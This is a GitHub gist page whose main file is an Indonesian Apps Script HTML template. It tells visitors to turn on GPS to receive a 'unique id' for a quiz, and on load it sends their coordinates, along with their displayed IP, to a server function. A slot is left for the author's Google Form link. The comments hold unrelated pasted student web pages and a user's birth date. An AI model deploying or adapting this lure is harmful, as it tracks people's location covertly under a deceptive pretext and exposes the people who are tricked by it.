Last active
October 31, 2025 03:44
-
-
Save zaelani23/d3dcdc765eab14c6a21ffa306e338108 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html> | |
| <html> | |
| <head> | |
| <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous"> | |
| </head> | |
| <body onload="getLocation()"> | |
| <div class='container'> | |
| <form> | |
| <p class='h4 mb-4 text-center'>Klik 'Mulai' untuk melanjutkan!!</p> | |
| <p>Aktifkan GPS SmartPhone kalian dan izinkan akses lokasi untuk mendapatkan unique id, silakan reload jika anda belum mengizinkan akses lokasi.</p> | |
| <div class='form-group'> | |
| <label for='ip'>IP Address:</label> | |
| <?!= include(); ?> | |
| </div> | |
| <div class='form-group'> | |
| <label for='unik'>Unique ID:</label><p>silakkan salin unique id anda untuk proses verifikasi jawaban anda nanti.</p> | |
| <input type='text' class='form-control' id='unik' readonly> | |
| </div> | |
| <a type="button" class="btn btn-primary" href='GANTI DENGAN LINK GOOGLE FORM KALIAN' target='_blank'>Mulai</a> | |
| </form> | |
| </div> | |
| <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script> | |
| <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.3/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script> | |
| <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script> | |
| <script> | |
| function getLocation() { | |
| if (navigator.geolocation) { | |
| navigator.geolocation.getCurrentPosition(showPosition); | |
| } | |
| } | |
| function makeid() { | |
| var result = ''; | |
| var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; | |
| var charactersLength = characters.length; | |
| for ( var i = 0; i < 7; i++ ) { | |
| result += characters.charAt(Math.floor(Math.random() * charactersLength)); | |
| } | |
| document.getElementById("unik").value = result; | |
| return result; | |
| } | |
| function showPosition(position) { | |
| google.script.run.processForm(makeid(),position.coords.latitude,position.coords.longitude); | |
| } | |
| </script> | |
| </body> | |
| </html> | |
Selamat Datang di Farmasi Fun Zone!
Website seru buat mahasiswa farmasi
<main>
<h2>Game Seru:</h2>
<ul>
<li><a href="#">Obat atau Makanan?</a></li>
<li><a href="#">Resep Dokter Challenge</a></li>
<li><a href="#">Escape Room: Lab Farmasi</a></li>
<li><a href="#">Zat Aktif Mafiaa</a><li>
</ul>
</main>
<script src="script.js"></script>
rame bener,gw gangerti lagi mau ngpain disni
Imut_ndut2025
DOCTYPE html
Apa artinya
Pada Min, 3 Agu 2025 11.19, skyzotiktok15-afk ***@***.***>
menulis:
… ***@***.**** commented on this gist.
------------------------------
DOCTYPE html
—
Reply to this email directly, view it on GitHub
<https://gist.github.com/zaelani23/d3dcdc765eab14c6a21ffa306e338108#gistcomment-5705048>
or unsubscribe
<https://github.com/notifications/unsubscribe-auth/BUTFTVIKJAHHORPAOOGWDL33LWEUTBFKMF2HI4TJMJ2XIZLTSKBKK5TBNR2WLJDUOJ2WLJDOMFWWLO3UNBZGKYLEL5YGC4TUNFRWS4DBNZ2F6YLDORUXM2LUPGBKK5TBNR2WLJDHNFZXJJDOMFWWLK3UNBZGKYLEL52HS4DFVRZXKYTKMVRXIX3UPFYGLK2HNFZXIQ3PNVWWK3TUUZ2G64DJMNZZDAVEOR4XAZNEM5UXG5FFOZQWY5LFVEYTAMRTGQ2DCMJQU52HE2LHM5SXFJTDOJSWC5DF>
.
You are receiving this email because you commented on the thread.
Triage notifications on the go with GitHub Mobile for iOS
<https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675>
or Android
<https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub>
.
_4deajah10
sudah bagus gak
kembali kan dulu
akun ku
260910 lahir saya
a
js
s
xxd
fff
Cara mengembalikannya gmn?
<title>Website Saya</title>
Selamat Datang
Ini punya orang miskin.
© 2025
<script src="script.js"></script>
<title>NegriNgeri</title>
Selamat Datang Kawan
Negeri Tanpa Keadilan.
© 25 Agustus 2025
<script> console.log("Pesan ini adalah sebagian kecil rakyatmu kawan,dimana keadilan bisa dibuang kalau punya uang,adilkah begitu?"); </script>
Klik 'Mulai' untuk melanjutkan!!
Aktifkan GPS SmartPhone kalian dan izinkan akses lokasi untuk mendapatkan unique id, silakan reload jika anda belum mengizinkan akses lokasi.
IP Address:
Unique ID:
Mulai
silakkan salin unique id anda untuk proses verifikasi jawaban anda nanti.
<script>
function getLocation() {
if (navigator.geolocation) {
navigator.geolocation.getCurrentPosition(showPosition);
}
}
function makeid() {
var result = '';
var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
var charactersLength = characters.length;
for ( var i = 0; i < 7; i++ ) {
result += characters.charAt(Math.floor(Math.random() * charactersLength));
}
document.getElementById("unik").value = result;
return result;
}
function showPosition(position) {
google.script.run.processForm(makeid(),position.coords.latitude,position.coords.longitude);
}
</script>
<title>Jejak PGSD</title>
© 2025 Jejak PGSD
<script src="https://unpkg.com/[email protected]/dist/leaflet.js"></script>
<script src="script.js"></script>
Jejak PGSD
Catat dan pantau kunjungan SD oleh mahasiswa PGSD
Isi Data Kunjungan SD
Nama SD: Alamat SD: Nama Mahasiswa: Tanggal Kunjungan: Deskripsi/ Catatan Kunjungan: <textarea name="catatan" required></textarea> Lokasi SD (klik di peta): Simpan KunjunganDaftar SD yang Dikunjungi
body {
font-family: 'Segoe UI', Arial, sans-serif;
margin: 0;
padding: 0;
background: #f6f8fa;
color: #333;
}
header {
text-align: center;
background: #3778c2;
color: #fff;
padding: 24px 12px 10px 12px;
}
.logo {
width: 64px;
height: 64px;
vertical-align: middle;
margin-bottom: 8px;
}
main {
display: flex;
flex-wrap: wrap;
justify-content: space-around;
gap: 32px;
padding: 24px 8px;
}
#map-section {
flex: 1 1 400px;
min-width: 350px;
}
#map {
height: 350px;
width: 100%;
border-radius: 12px;
box-shadow: 0 2px 8px rgba(55,120,194,0.1);
margin-bottom: 20px;
}
#form-section, #list-section {
flex: 1 1 320px;
min-width: 300px;
background: #fff;
padding: 20px 18px;
border-radius: 12px;
box-shadow: 0 2px 8px rgba(55,120,194,0.08);
}
form label {
display: block;
margin-bottom: 12px;
font-size: 1em;
}
form input, form textarea {
width: 100%;
margin-top: 4px;
padding: 6px 8px;
border: 1px solid #b1c6e8;
border-radius: 6px;
font-size: 1em;
}
form button {
background: #3778c2;
color: #fff;
border: none;
padding: 10px 18px;
border-radius: 6px;
cursor: pointer;
}
form button:hover {
background: #285a99;
}
#kunjungan-list {
list-style: none;
padding: 0;
}
#kunjungan-list li {
margin-bottom: 16px;
background: #f0f4fa;
border-left: 4px solid #3778c2;
padding: 10px 14px;
border-radius: 6px;
}
footer {
text-align: center;
color: #888;
padding: 10px;
background: #e8eef6;
margin-top: 24px;
font-size: 0.98em;
}
// Simple storage using localStorage
const form = document.getElementById('visit-form');
const lokasiInput = document.getElementById('lokasi');
const kunjunganList = document.getElementById('kunjungan-list');
let kunjunganData = JSON.parse(localStorage.getItem('kunjunganPGSD')) || [];
// Leaflet Map setup
const map = L.map('map').setView([-7.797068, 110.370529], 10); // Yogyakarta as default
L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {
attribution: '© OpenStreetMap contributors'
}).addTo(map);
// Update lokasi input when map is clicked
let marker;
map.on('click', function(e) {
const {lat, lng} = e.latlng;
lokasiInput.value = ${lat.toFixed(6)},${lng.toFixed(6)};
if(marker) marker.setLatLng(e.latlng);
else marker = L.marker(e.latlng).addTo(map);
});
// Add all kunjungan markers
function renderMarkers() {
kunjunganData.forEach(data => {
if(data.lokasi) {
const [lat, lng] = data.lokasi.split(',').map(Number);
const popupContent = <b>${data.nama_sd}</b><br> ${data.alamat_sd}<br> <small>Oleh: ${data.nama_mahasiswa}, ${data.tanggal_kunjungan}</small><br> <i>${data.catatan}</i>;
L.marker([lat, lng]).addTo(map).bindPopup(popupContent);
}
});
}
// Render kunjungan list
function renderKunjunganList() {
kunjunganList.innerHTML = '';
kunjunganData.forEach(data => {
const li = document.createElement('li');
li.innerHTML = <b>${data.nama_sd}</b> (${data.alamat_sd})<br> <small>Oleh: ${data.nama_mahasiswa}, ${data.tanggal_kunjungan}</small><br> <i>${data.catatan}</i> <br><span style="font-size:0.9em;color:#3778c2;">Lokasi: ${data.lokasi}</span>;
kunjunganList.appendChild(li);
});
}
form.addEventListener('submit', function(e) {
e.preventDefault();
const data = Object.fromEntries(new FormData(form).entries());
kunjunganData.push(data);
localStorage.setItem('kunjunganPGSD', JSON.stringify(kunjunganData));
renderKunjunganList();
map.setView(data.lokasi.split(',').map(Number), 14);
L.marker(data.lokasi.split(',').map(Number)).addTo(map)
.bindPopup(<b>${data.nama_sd}</b><br>${data.alamat_sd}<br><i>${data.catatan}</i>)
.openPopup();
form.reset();
lokasiInput.value = '';
});
renderMarkers();
renderKunjunganList();
<!doctype html>
<title>The Lost Forest — Demo</title> <style> html,body { margin:0; padding:0; height:100%; overflow:hidden; background:#000; } #gameCanvas { display:block; width:100vw; height:100vh; } /* joystick */ #joyBase { position: absolute; left: 16px; bottom: 16px; width: 120px; height: 120px; border-radius: 50%; background: rgba(255,255,255,0.06); touch-action: none; } #joyKnob { position: absolute; left: 50%; top: 50%; transform: translate(-50%,-50%); width: 56px; height: 56px; border-radius: 50%; background: rgba(255,255,255,0.14); } /* top-right UI */ #ui { position: absolute; right: 12px; top: 12px; display:flex; gap:8px; align-items:center; } .btn { background: rgba(255,255,255,0.06); color: #fff; padding: 8px 12px; border-radius: 8px; font-family: sans-serif; font-size: 14px; user-select:none; -webkit-user-select:none; } #hint { position:absolute; left:50%; transform:translateX(-50%); bottom: 150px; color:#ddd; font-family: sans-serif; background: rgba(0,0,0,0.35); padding:6px 10px; border-radius:8px; display:none; } #title { position:absolute; left:12px; top:12px; color:#dfe; font-family:sans-serif; text-shadow:0 1px 6px rgba(0,0,0,0.7); } </style>
The Lost Forest — Demo
Collect
Items: 0
Dekati bola bercahaya untuk mengambilnya
<title>Sejarah Perkembangan Robot</title>
<style>
/* === Gaya Futuristik === */
body {
font-family: 'Poppins', sans-serif;
background-color: #0b0c10;
color: #c5c6c7;
margin: 0;
padding: 0;
overflow-x: hidden;
}
/* Efek teks neon */
header h1 {
color: #66fcf1;
text-shadow: 0 0 10px #66fcf1, 0 0 20px #45a29e, 0 0 30px #45a29e;
animation: glow 2s ease-in-out infinite alternate;
}
@keyframes glow {
from { text-shadow: 0 0 10px #66fcf1; }
to { text-shadow: 0 0 30px #45a29e; }
}
header {
background: linear-gradient(90deg, #0b0c10, #1f2833);
text-align: center;
padding: 60px 20px;
border-bottom: 2px solid #45a29e;
}
header p {
color: #c5c6c7;
font-size: 1.2em;
animation: fadeIn 2s ease;
}
section {
max-width: 900px;
margin: 40px auto;
background: rgba(31, 40, 51, 0.9);
padding: 40px;
border-radius: 20px;
box-shadow: 0 0 20px rgba(102, 252, 241, 0.2);
transform: translateY(40px);
animation: floatUp 1s ease forwards;
}
@keyframes floatUp {
to { transform: translateY(0); opacity: 1; }
}
h2 {
color: #66fcf1;
border-left: 5px solid #45a29e;
padding-left: 10px;
}
img {
width: 100%;
border-radius: 10px;
margin-top: 15px;
box-shadow: 0 0 15px rgba(102, 252, 241, 0.3);
transition: transform 0.5s;
}
img:hover {
transform: scale(1.05);
}
/* Efek partikel latar belakang */
.particles {
position: fixed;
top: 0; left: 0;
width: 100%; height: 100%;
z-index: -1;
overflow: hidden;
}
.dot {
position: absolute;
width: 4px; height: 4px;
background-color: #66fcf1;
border-radius: 50%;
opacity: 0.6;
animation: move 10s linear infinite;
}
@keyframes move {
0% { transform: translateY(0); }
100% { transform: translateY(100vh); opacity: 0; }
}
footer {
text-align: center;
background-color: #1f2833;
color: #c5c6c7;
padding: 20px;
font-size: 14px;
border-top: 2px solid #45a29e;
margin-top: 40px;
}
<script>
for (let i = 0; i < 50; i++) {
const dot = document.createElement('div');
dot.classList.add('dot');
dot.style.left = Math.random() * 100 + 'vw';
dot.style.animationDelay = Math.random() * 10 + 's';
dot.style.animationDuration = (5 + Math.random() * 5) + 's';
document.body.querySelector('.particles').appendChild(dot);
}
</script>
Sejarah Perkembangan Robot
Dari mesin sederhana hingga kecerdasan buatan modern
Awal Mula Robot
Konsep robot sudah dikenal sejak zaman kuno, ketika ilmuwan menciptakan mesin yang dapat bergerak sendiri. Pada abad ke-15, Leonardo da Vinci merancang robotic knight — manusia mekanik pertama di dunia.
<h2>Perkembangan di Abad ke-20</h2>
<p>Pada abad ke-20, istilah “robot” mulai populer lewat drama R.U.R karya Karel Čapek (1921).
Setelah itu, robot digunakan dalam industri otomotif, elektronik, dan bahkan eksplorasi luar angkasa.</p>
<h2>Robot Modern dan AI</h2>
<p>Robot saat ini dilengkapi kecerdasan buatan (AI) yang memungkinkan mereka belajar, berbicara, dan beradaptasi.
Contohnya adalah robot ASIMO dan Sophia yang bisa berinteraksi layaknya manusia.</p>
<img src="https://upload.wikimedia.org/wikipedia/commons/1/19/Humanoid_robot_ASIMO.jpg" alt="Robot modern ASIMO">
<h2>Masa Depan Robot</h2>
<p>Di masa depan, robot akan semakin dekat dengan kehidupan manusia — menjadi asisten rumah, tenaga kerja, bahkan penjelajah planet.
Namun, kita tetap perlu memastikan teknologi ini digunakan untuk kebaikan dan kemanusiaan.</p>
© 2025 | Website oleh [Namamu]
alya
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
can you improve this ceiling design with a certain detail with a modern style